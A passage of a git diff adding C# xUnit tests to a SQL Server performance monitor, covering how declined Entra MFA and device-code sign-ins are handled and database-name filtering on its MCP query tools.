+            await open.WaitAsync(TimeSpan.FromSeconds(10), CancellationToken.None);
+        }
+        catch (Exception ex) when (ex is OperationCanceledException or SqlException or TimeoutException or InvalidOperationException)
+        {
+            /* The open was cancelled or refused: that is how it ends. */
+        }
+    }
+
+    [Fact]
+    public async Task ADatabaseOpenForAnInteractiveMfaRegistration_RefusesWithoutConnecting_OnceThatServersSignInWasDeclined()
+    {
+        /* #4961: the long-query trace opens a database over a second connection of the registration, so a prompt the user
+           declined on the registration's own connection has to stop these opens as it stops CreateConnectionAsync's. Entra MFA
+           raises a window as device code does, and the flag is the same one. The server these opens point at accepts a socket and
+           never answers: an open that did not refuse would connect to it and wait, which the listener shows. Two refusals in
+           turn, and the second is also the proof that the first gave back the sign-in lock. */
+        using var setup = new SilentServerSetup(AuthenticationTypes.EntraMFA);
+        setup.Servers.GetConnectionStatus(setup.Server.Id).UserCancelledMfa = true;
+
+        foreach (var withoutReadOnlyIntent in new[] { true, false })
+        {
+            using var bound = new CancellationTokenSource(TimeSpan.FromSeconds(5));
+            Task<SqlConnection>? open = null;
+
+            try
+            {
+                var refused = await Assert.ThrowsAsync<InvalidOperationException>(
+                    () => open = setup.Probe.OpenAsync(setup.Server, "alpha", withoutReadOnlyIntent, bound.Token));
+
+                Assert.StartsWith("Interactive authentication cancelled by user", refused.Message, StringComparison.Ordinal);
+            }
+            finally
+            {
+                await EndAsync(open, bound);
+            }
+        }
+
+        Assert.False(setup.WasReached, "an open for a server whose sign-in was declined must refuse before it connects");
+    }
+
+    [Fact]
+    public async Task ADatabaseOpenForAnInteractiveMfaRegistration_WaitsWhileTheSignInLockIsHeld_ThenIsRefusedWithoutConnecting()
+    {
+        /* One window at a time, for both interactive modes: two opens that start together must not raise two prompts. The test
+           holds the lock, as a prompt that is up would, and starts an open of a registration whose sign-in was declined. An open
+           that takes the lock waits behind it and is refused only once the lock is released. One that does not take it goes
+           straight on and connects to the server that never answers. The hold is short, and given back in finally: the lock
+           belongs to the whole process. */
+        using var setup = new SilentServerSetup(AuthenticationTypes.EntraMFA);
+        setup.Servers.GetConnectionStatus(setup.Server.Id).UserCancelledMfa = true;
+
+        var signInLock = SignInLock();
+        Assert.True(await signInLock.WaitAsync(TimeSpan.FromSeconds(5), CancellationToken.None), "the sign-in lock should be free when the test starts");
+        var released = false;
+        using var bound = new CancellationTokenSource(TimeSpan.FromSeconds(10));
+        Task<SqlConnection>? open = null;
+
+        try
+        {
+            open = setup.Probe.OpenAsync(setup.Server, "alpha", withoutReadOnlyIntent: false, bound.Token);
+            await Task.Delay(TimeSpan.FromSeconds(1), CancellationToken.None);
+
+            Assert.False(open.IsCompleted, "an open must wait while another sign-in holds the lock");
+            Assert.False(setup.WasReached, "an open that waits for the sign-in lock has not connected");
+
+            signInLock.Release();
+            released = true;
+
+            var refused = await Assert.ThrowsAsync<InvalidOperationException>(() => open);
+            Assert.StartsWith("Interactive authentication cancelled by user", refused.Message, StringComparison.Ordinal);
+            Assert.False(setup.WasReached, "the refusal came before any connection");
+        }
+        finally
+        {
+            if (!released)
+            {
+                signInLock.Release();
+            }
+
+            await EndAsync(open, bound);
+        }
+    }
+
+    [Fact]
+    public async Task ADatabaseOpenForASqlLoginRegistration_TakesNoSignInLock()
+    {
+        /* Only a mode that can put a window up is made to queue: a SQL login has no prompt for the lock to serialise, so its opens
+           must not wait behind one. The same hold as above, and this open goes straight to the server that never answers. */
+        using var setup = new SilentServerSetup(AuthenticationTypes.SqlServer);
+
+        var signInLock = SignInLock();
+        Assert.True(await signInLock.WaitAsync(TimeSpan.FromSeconds(5), CancellationToken.None), "the sign-in lock should be free when the test starts");
+        using var bound = new CancellationTokenSource(TimeSpan.FromSeconds(10));
+        Task<SqlConnection>? open = null;
+
+        try
+        {
+            open = setup.Probe.OpenAsync(setup.Server, "alpha", withoutReadOnlyIntent: true, bound.Token);
+
+            var reached = false;
+            for (var waited = 0; waited < 100 && !reached; waited++)
+            {
+                reached = setup.WasReached;
+
+                if (!reached)
+                {
+                    await Task.Delay(TimeSpan.FromMilliseconds(50), CancellationToken.None);
+                }
+            }
+
+            Assert.True(reached, "an open that takes no lock goes straight on to connect, while another sign-in holds the lock");
+        }
+        finally
+        {
+            signInLock.Release();
+            await EndAsync(open, bound);
+        }
+    }
+
     // ---- Cancelling is recognised as a decision, not a fault -----------------------------
 
     [Fact]
@@ -1986,17 +2318,125 @@ public void TheCollectorSeparatesAUserDeclineFromAShutdown()
            opening the server by hand.
 
            The discriminating half is the second condition: without !cancellationToken, every
-           shutdown becomes a decline, and no test of the decline path alone would notice. */
+           shutdown becomes a decline, and no test of the decline path alone would notice.
+
+           The decision lives in one helper that both opens call (#4961), so the pin reads the
+           helper's body: both conditions, and the message check the Entra MFA path depends on. */
+        var code = CSharpSourceWalker.StripCommentsAndStrings(
+            ParitySource.ReadFile("Lite/Services/RemoteCollectorService.cs"));
+
+        var at = code.IndexOf("bool UserDeclinedSignIn(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the collector must classify a failed interactive sign-in, in one place");
+
+        var body = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', at));
+
+        Assert.Contains("MfaAuthenticationHelper.IsMfaCancelledException(", body, StringComparison.Ordinal);
+        Assert.Contains("deviceCode.Token.IsCancellationRequested", body, StringComparison.Ordinal);
+        Assert.Contains("!cancellationToken.IsCancellationRequested", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BothOpensDecideADeclineThroughTheOneHelper()
+    {
+        /* #4961: CreateConnectionAsync flagged a declined Entra MFA sign-in by the broker's message and a declined device-code
+           prompt by its token, and the per-database open flagged only the second, so an Entra MFA registration whose user
+           cancelled the browser sign-in during a per-database open left every open queued behind the sign-in lock to raise a
+           prompt of its own. The two opens now ask one helper, so they cannot drift apart again: it is defined once, each open
+           calls it, and neither carries a copy of its conditions. */
         var code = CSharpSourceWalker.StripCommentsAndStrings(
             ParitySource.ReadFile("Lite/Services/RemoteCollectorService.cs"));
 
-        var at = code.IndexOf("userDeclined", StringComparison.Ordinal);
-        Assert.True(at >= 0, "the collector must classify a failed interactive sign-in");
+        var first = code.IndexOf("bool UserDeclinedSignIn(", StringComparison.Ordinal);
+        Assert.True(first >= 0, "the shared decision must exist");
+        Assert.Equal(-1, code.IndexOf("bool UserDeclinedSignIn(", first + 1, StringComparison.Ordinal));
+
+        foreach (var open in new[]
+                 {
+                     "Task<SqlConnection> OpenAzureDatabaseConnectionAsync(",
+                     "Task<SqlConnection> CreateConnectionAsync(",
+                 })
+        {
+            var at = code.IndexOf(open, StringComparison.Ordinal);
+            Assert.True(at >= 0, open + " must still exist");
+            var body = CSharpSourceWalker.BraceBalanced(code, code.IndexOf('{', at));
+
+            Assert.Contains("UserDeclinedSignIn(", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("IsMfaCancelledException", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("deviceCode.Token.IsCancellationRequested", body, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The decision both opens ask, "did the user decline this sign-in". It is private, so a test reads it by its name.</summary>
+    private static bool UserDeclinedSignIn(Exception ex, EntraDeviceCodeAttempt? deviceCode, CancellationToken cancellationToken)
+    {
+        var method = typeof(RemoteCollectorService).GetMethod("UserDeclinedSignIn", BindingFlags.NonPublic | BindingFlags.Static);
+        Assert.NotNull(method);
+        return (bool)method.Invoke(null, [ex, deviceCode, cancellationToken])!;
+    }
+
+    /// <summary>A device-code attempt as an open starts one, for a test to cancel the way the prompt window's Cancel does.</summary>
+    private static EntraDeviceCodeAttempt BeginDeviceCodeAttempt()
+    {
+        var builder = new SqlConnectionStringBuilder();
+        ServerConnection.ApplyAuthentication(builder, AuthenticationTypes.EntraDeviceCode, null, null, null, null);
+        var attempt = EntraDeviceCodeAuth.Begin(builder);
+        Assert.NotNull(attempt);
+        return attempt;
+    }
 
-        var window = code[at..Math.Min(code.Length, at + 500)];
+    [Theory]
+    [InlineData("User canceled authentication.")]
+    [InlineData("The authentication was cancelled by the user.")]
+    public void ASignInTheBrokerReportsAsCancelled_IsADecline(string brokerMessage)
+    {
+        /* Entra MFA reports a declined sign-in in the exception's message and nowhere else, so the message is what decides. */
+        Assert.True(UserDeclinedSignIn(new InvalidOperationException(brokerMessage), deviceCode: null, CancellationToken.None));
+    }
+
+    [Fact]
+    public void AnUnrelatedFailure_IsNotADecline()
+    {
+        EntraDeviceCodeAuth.ResetForTests();
 
-        Assert.Contains("deviceCode.Token.IsCancellationRequested", window, StringComparison.Ordinal);
-        Assert.Contains("!cancellationToken.IsCancellationRequested", window, StringComparison.Ordinal);
+        try
+        {
+            using var attempt = BeginDeviceCodeAttempt();
+
+            Assert.False(UserDeclinedSignIn(new InvalidOperationException("Login failed for user."), deviceCode: null, CancellationToken.None));
+
+            /* A device-code prompt still on screen is no decline either: the open failed for some other reason. */
+            Assert.False(UserDeclinedSignIn(new TimeoutException("The connection timed out."), attempt, CancellationToken.None));
+        }
+        finally
+        {
+            EntraDeviceCodeAuth.ResetForTests();
+        }
+    }
+
+    [Fact]
+    public void ACancelledDeviceCodePrompt_IsADecline_UnlessTheCallersOwnTokenWasCancelled()
+    {
+        /* The prompt's Cancel and the caller's token end the same open, so the token the open waits on cannot say which fired:
+           the prompt's own token can. A cancel from the prompt is the user declining, and one from the caller is a shutdown,
+           which is no decline. */
+        EntraDeviceCodeAuth.ResetForTests();
+
+        try
+        {
+            using var attempt = BeginDeviceCodeAttempt();
+            attempt.Cancel();
+
+            Assert.True(UserDeclinedSignIn(new OperationCanceledException(attempt.Token), attempt, CancellationToken.None));
+
+            using var shutdown = new CancellationTokenSource();
+            shutdown.Cancel();
+
+            Assert.False(UserDeclinedSignIn(new OperationCanceledException(shutdown.Token), attempt, shutdown.Token));
+        }
+        finally
+        {
+            EntraDeviceCodeAuth.ResetForTests();
+        }
     }
 
     // ---- The label ------------------------------------------------------------------------
diff --git a/Lite.Tests/EventListDatabaseFilterToolTests.cs b/Lite.Tests/EventListDatabaseFilterToolTests.cs
new file mode 100644
index 0000000000..226962dbbc
--- /dev/null
+++ b/Lite.Tests/EventListDatabaseFilterToolTests.cs
@@ -0,0 +1,405 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR4, lane L2): <c>database_name</c> on Lite's get_long_query_completions and get_plan_corrections, the twins
+/// of Darling's list-taking readers. Each gets a DuckDB fixture with three databases where the filter returns only the
+/// chosen database's rows, a blank name returns all of them, the row cap counts only the chosen database's rows (the
+/// predicate sits on the raw rows, before the ranking and the limit), and a filtered empty answer keeps the
+/// <c>empty</c> status word and says "for the database X" (the chosen databases for two or more) the way Darling's tools do.
+/// </summary>
+public sealed class EventListDatabaseFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "EventListDbFilterSrv";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly int _serverId;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 950000;
+    private readonly DateTime _planBase = MinuteOf(DateTime.UtcNow);
+
+    // One clock read: five reads of UtcNow could straddle a minute (or hour) boundary.
+    private static DateTime MinuteOf(DateTime now) => new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+    public EventListDatabaseFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-eventlistdbfilter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement;
+
+    private async Task ExecuteAsync(string sql, params object?[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+            cmd.Parameters.Add(new DuckDBParameter { Value = value ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private static string[] Databases(JsonElement root, string array) =>
+        root.GetProperty(array).EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).ToArray();
+
+    /* ───────────────────────── get_long_query_completions ───────────────────────── */
+
+    private Task SeedLongQueryAsync(string database, int seconds, int minutesAgo)
+    {
+        var when = Naive(DateTime.UtcNow.AddMinutes(-minutesAgo));
+        return ExecuteAsync(@"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, statement_text, duration_microseconds)
+VALUES ($1, $2, $3, $4, $5, 'rpc_completed', $6, 'SELECT 1', $7)",
+            _nextId++, when, _serverId, ServerName, when, database, seconds * 1_000_000L);
+    }
+
+    /// <summary>DbA holds the three slowest runs (9, 8 and 7 s), DbB one 1 s run and DbC one 2 s run.</summary>
+    private async Task SeedThreeDatabaseLongQueriesAsync()
+    {
+        await SeedLongQueryAsync("DbA", 9, 5);
+        await SeedLongQueryAsync("DbA", 8, 6);
+        await SeedLongQueryAsync("DbA", 7, 7);
+        await SeedLongQueryAsync("DbB", 1, 8);
+        await SeedLongQueryAsync("DbC", 2, 9);
+    }
+
+    [Fact]
+    public async Task LongQueries_OneName_ReturnsOnlyThatDatabasesRows()
+    {
+        await SeedThreeDatabaseLongQueriesAsync();
+
+        var root = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: "DbB"));
+
+        Assert.Equal(new[] { "DbB" }, Databases(root, "completions"));
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task LongQueries_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseLongQueriesAsync();
+
+        var root = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: blank));
+
+        Assert.Equal(5, root.GetProperty("completions_returned").GetInt32());
+        Assert.Equal(new[] { "DbA", "DbA", "DbA", "DbC", "DbB" }, Databases(root, "completions"));
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    [Fact]
+    public async Task LongQueries_TheLimitCountsOnlyTheChosenDatabasesRows()
+    {
+        await SeedThreeDatabaseLongQueriesAsync();
+
+        // Unfiltered, limit 1 would be DbA's 9 s run. Filtered to DbB it is DbB's only run, and nothing was cut.
+        var one = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 1, database_name: "DbB"));
+        Assert.Equal(new[] { "DbB" }, Databases(one, "completions"));
+        Assert.False(one.GetProperty("truncated").GetBoolean());
+
+        // DbA holds three runs: limit 2 is its two slowest and says the window held more.
+        var two = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 2, database_name: "DbA"));
+        Assert.Equal(2, two.GetProperty("completions_returned").GetInt32());
+        Assert.True(two.GetProperty("truncated").GetBoolean());
+        Assert.Equal(new[] { 9000.0, 8000.0 }, two.GetProperty("completions").EnumerateArray().Select(r => r.GetProperty("duration_ms").GetDouble()).ToArray());
+    }
+
+    [Fact]
+    public async Task LongQueries_FilteredEmpty_SaysTheChosenDatabases_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseLongQueriesAsync();
+
+        var root = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains(" for the database ", root.GetProperty("message").GetString());
+        Assert.DoesNotContain("chosen databases", root.GetProperty("message").GetString());
+    }
+
+    [Fact]
+    public async Task LongQueries_UnfilteredEmpty_KeepsTheOriginalWording()
+    {
+        await SeedLongQueryAsync("DbA", 9, 5);
+
+        var root = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 1, 30, as_of: DateTime.UtcNow.AddDays(-3).ToString("o")));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.DoesNotContain("chosen databases", root.GetProperty("message").GetString());
+    }
+
+    /* ───────────────────────── get_plan_corrections ───────────────────────── */
+
+    private Task SeedPlanCorrectionAsync(string database, int index, int minutesAgo)
+    {
+        // Whole minutes off one base, so the rows of one capture share a collection_time exactly (the tuning snapshot is
+        // the rows stamped with the server's newest collection_time).
+        var when = Naive(_planBase.AddMinutes(-minutesAgo));
+        return ExecuteAsync(@"
+INSERT INTO plan_correction
+    (collection_id, collection_time, server_id, server_name, database_name,
+     force_last_good_plan_desired_state, force_last_good_plan_actual_state, force_last_good_plan_reason,
+     recommendation_name, recommendation_state, score, query_id, query_text)
+VALUES ($1, $2, $3, $4, $5, 'Enabled', 'Enabled', 'ok', $6, 'Active', $7, $8, 'SELECT 1')",
+            _nextId++, when, _serverId, ServerName, database, $"PlanRegression_{database}_{index}", 50 + index, 1000L + index);
+    }
+
+    /// <summary>DbA holds three recommendations, DbB one and DbC one; the newest capture of each database is the same
+    /// minute, so the automatic-tuning snapshot names all three.</summary>
+    private async Task SeedThreeDatabasePlanCorrectionsAsync()
+    {
+        await SeedPlanCorrectionAsync("DbA", 1, 30);
+        await SeedPlanCorrectionAsync("DbA", 2, 20);
+        await SeedPlanCorrectionAsync("DbA", 3, 2);
+        await SeedPlanCorrectionAsync("DbB", 4, 2);
+        await SeedPlanCorrectionAsync("DbC", 5, 2);
+    }
+
+    [Fact]
+    public async Task PlanCorrections_OneName_NarrowsBothLayers()
+    {
+        await SeedThreeDatabasePlanCorrectionsAsync();
+
+        var root = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 25, database_name: "DbB"));
+
+        Assert.Equal(new[] { "DbB" }, Databases(root, "recommendations"));
+        Assert.Equal(new[] { "DbB" }, Databases(root, "automatic_tuning"));
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task PlanCorrections_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabasePlanCorrectionsAsync();
+
+        var root = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 25, database_name: blank));
+
+        Assert.Equal(5, root.GetProperty("recommendations_returned").GetInt32());
+        Assert.Equal(new[] { "DbA", "DbB", "DbC" }, Databases(root, "automatic_tuning").OrderBy(d => d).ToArray());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    [Fact]
+    public async Task PlanCorrections_TheLimitCountsOnlyTheChosenDatabasesRows()
+    {
+        await SeedThreeDatabasePlanCorrectionsAsync();
+
+        // Newest first with limit 2 over every database would be two of the three 2-minutes-ago rows. Filtered to DbA
+        // the page is DbA's newest two, and the third DbA row makes it a truncated page.
+        var root = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 2, database_name: "DbA"));
+
+        Assert.Equal(new[] { "DbA", "DbA" }, Databases(root, "recommendations"));
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+
+        var one = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 1, database_name: "DbC"));
+        Assert.Equal(new[] { "DbC" }, Databases(one, "recommendations"));
+        Assert.False(one.GetProperty("truncated").GetBoolean());
+    }
+
+    [Fact]
+    public async Task PlanCorrections_FilteredEmpty_SaysTheChosenDatabases_AndStaysEmpty()
+    {
+        await SeedThreeDatabasePlanCorrectionsAsync();
+
+        var root = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 25, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Equal("No plan correction data found for the database NoSuchDb.", root.GetProperty("message").GetString());
+    }
+
+    /* ───────────── #5244 review L2 and L3: the empty answers ───────────── */
+
+    /// <summary>
+    /// L3: a filter that empties the answer on a server whose collector HAS rows for other databases ends the message after
+    /// the database clause. It must not send the reader to the opt-in switch, which is already on. With no filter the opt-in
+    /// sentence stays. L2: both answers echo <c>database_name</c> (the name, null for all), blank included.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_EmptyAnswers_EchoTheDatabase_AndOnlyAnUnfilteredOneBlamesTheOptInSwitch()
+    {
+        await SeedThreeDatabaseLongQueriesAsync();
+
+        var filtered = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: "NoSuchDb"));
+        Assert.Equal("empty", filtered.GetProperty("status").GetString());
+        Assert.Equal("No long-running query completions found in the specified time range for the database NoSuchDb.",
+            filtered.GetProperty("message").GetString());
+        Assert.Equal("NoSuchDb", filtered.GetProperty("database_name").GetString());
+
+        /* An unfiltered read of a server with no completions at all: the opt-in sentence is true there. */
+        await ExecuteAsync("DELETE FROM long_query_completions");
+        foreach (var blank in new string?[] { null, "", "   " })
+        {
+            var unfiltered = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+                _service, _serverManager, ServerName, 24, 30, database_name: blank));
+            Assert.Equal("empty", unfiltered.GetProperty("status").GetString());
+            Assert.Contains("opt-in (default OFF)", unfiltered.GetProperty("message").GetString(), StringComparison.Ordinal);
+            Assert.Equal(JsonValueKind.Null, unfiltered.GetProperty("database_name").ValueKind);
+        }
+    }
+
+    [Fact]
+    public async Task PlanCorrections_EmptyAnswers_EchoTheDatabase_BlankIsNull()
+    {
+        await SeedThreeDatabasePlanCorrectionsAsync();
+
+        var filtered = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 25, database_name: "NoSuchDb"));
+        Assert.Equal("empty", filtered.GetProperty("status").GetString());
+        Assert.Equal("NoSuchDb", filtered.GetProperty("database_name").GetString());
+
+        await ExecuteAsync("DELETE FROM plan_correction");
+        var blank = Parse(await McpPlanCorrectionTools.GetPlanCorrections(
+            _service, _serverManager, ServerName, 24, 25, database_name: "  "));
+        Assert.Equal("empty", blank.GetProperty("status").GetString());
+        Assert.Equal(JsonValueKind.Null, blank.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>
+    /// [#5414 round 2, L3, the other half] A filtered empty answer sends the reader to the opt-in switch only when the window
+    /// notice has no <c>effective_start</c>, which means the store holds no long-query row for this server in the window at all
+    /// (the probe is not database-filtered). With rows for other databases the collector is on, so the sentence stops after the
+    /// database clause (pinned in the test above); on an empty store the opt-in sentence stays, with the database clause
+    /// before it and the database echoed.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_FilteredEmpty_OnAServerWithNoLongQueryRows_KeepsTheOptInSentence()
+    {
+        var filtered = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: "DbA"));
+
+        Assert.Equal("empty", filtered.GetProperty("status").GetString());
+        Assert.Equal("No long-running query completions found in the specified time range for the database DbA"
+            + ". The long_query_completions collector is opt-in (default OFF) — enable it in the collector schedule to capture data.",
+            filtered.GetProperty("message").GetString());
+        Assert.Equal("DbA", filtered.GetProperty("database_name").GetString());
+        Assert.False(filtered.GetProperty("hints").TryGetProperty("effective_start", out var start) && start.ValueKind != JsonValueKind.Null,
+            "the notice must carry no effective_start on an empty store; that is what keeps the opt-in sentence");
+    }
+
+    /// <summary>
+    /// [#5414 round 2, L2] The <c>precondition</c> answer (the collector's last run recorded a permission denial, Lite's one
+    /// reachable rung before the empty one) echoes <c>database_name</c>: the name for a chosen database, null for blank.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_PreconditionAnswer_EchoesTheDatabase_BlankIsNull()
+    {
+        await ExecuteAsync(@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status, error_message)
+VALUES ($1, $2, $3, 'long_query_completions', $4, 'PERMISSIONS', 'The server principal is not able to access the database.')",
+            _nextId++, _serverId, ServerName, Naive(DateTime.UtcNow.AddMinutes(-1)));
+
+        var filtered = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+            _service, _serverManager, ServerName, 24, 30, database_name: "DbA"));
+        Assert.Equal("precondition", filtered.GetProperty("status").GetString());
+        Assert.Equal("DbA", filtered.GetProperty("database_name").GetString());
+
+        foreach (var blank in new string?[] { null, "", "   " })
+        {
+            var unfiltered = Parse(await McpLongQueryTools.GetLongQueryCompletions(
+                _service, _serverManager, ServerName, 24, 30, database_name: blank));
+            Assert.Equal("precondition", unfiltered.GetProperty("status").GetString());
+            Assert.True(unfiltered.TryGetProperty("database_name", out var echo));
+            Assert.Equal(JsonValueKind.Null, echo.ValueKind);
+        }
+    }
+
+    /// <summary>
+    /// [#5414 round 2, L2] Every Lite tool wraps its <c>not_collected</c> rung in <c>McpHelpers.WithDatabase</c>. No Lite
+    /// collector these five tools read is gated off on any SQL Server engine edition (<c>CollectorEngineCapability.NotCollectedMessage</c>
+    /// answers null for all of them on editions 0 to 39, and Lite passes no engine kind), so the rung cannot be driven through the
+    /// tools and the envelope shape is pinned at the helper they all call: one name gives the name, two or more give "the chosen
+    /// databases" (<c>McpDatabaseSelection.Describe</c>), blank or all gives null with the key still written, null in gives null
+    /// out, and an envelope that already carries the key is left alone.
+    /// </summary>
+    [Fact]
+    public void WithDatabase_OnANotCollectedEnvelope_EchoesOneNameManyOrNull()
+    {
+        var notCollected = McpHelpers.Status("not_collected", "This server does not collect that.");
+
+        var one = Parse(McpHelpers.WithDatabase(notCollected, McpDatabaseSelection.Describe(new[] { "DbA" }))!);
+        Assert.Equal("not_collected", one.GetProperty("status").GetString());
+        Assert.Equal("DbA", one.GetProperty("database_name").GetString());
+
+        var many = Parse(McpHelpers.WithDatabase(notCollected, McpDatabaseSelection.Describe(new[] { "DbA", "DbB" }))!);
+        Assert.Equal("the chosen databases", many.GetProperty("database_name").GetString());
+
+        foreach (var all in new[] { McpDatabaseSelection.Describe(null), McpDatabaseSelection.Describe(Array.Empty<string>()) })
+        {
+            var none = Parse(McpHelpers.WithDatabase(notCollected, all)!);
+            Assert.True(none.TryGetProperty("database_name", out var echo));
+            Assert.Equal(JsonValueKind.Null, echo.ValueKind);
+        }
+
+        Assert.Null(McpHelpers.WithDatabase(null, "DbA"));
+        var carrying = McpHelpers.StatusForDatabase("not_collected", "m", "DbX");
+        Assert.Equal(carrying, McpHelpers.WithDatabase(carrying, "DbA"));
+    }
+}
diff --git a/Lite.Tests/FileGrowthAlertTests.cs b/Lite.Tests/FileGrowthAlertTests.cs
index 8a7ba3e46b..f2eae99f2b 100644
--- a/Lite.Tests/FileGrowthAlertTests.cs
+++ b/Lite.Tests/FileGrowthAlertTests.cs
@@ -23,6 +23,7 @@ namespace Lite.Tests;
 /// fires on the consequence, by which point a restart is overdue, and cannot attribute the space to one file.
 /// Between them sits a file that has grown large but has not yet filled its disk.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class FileGrowthAlertTests
 {
     private const string Server = "SQLPROD01";
diff --git a/Lite.Tests/FileIoLatencyTopFilesTests.cs b/Lite.Tests/FileIoLatencyTopFilesTests.cs
new file mode 100644
index 0000000000..69c4ba0186
--- /dev/null
+++ b/Lite.Tests/FileIoLatencyTopFilesTests.cs
@@ -0,0 +1,272 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Release walk V9: the File I/O Read Latency chart and the Overview "I/O Latency ms" lane were blank on a server whose log files
+/// carry the most operations. The latency read took the ten files with the most reads + writes, which were all log files (a log has
+/// writes and no reads), so no data file reached the read chart and the lane averaged zeros. Each chart now ranks its own subject:
+/// the ten busiest files by reads feed the read chart and the ten busiest by writes feed the write chart.
+/// </summary>
+[Trait("Reads", "Darling")]
+public sealed class FileIoLatencyTopFilesTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 548900;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _conn;
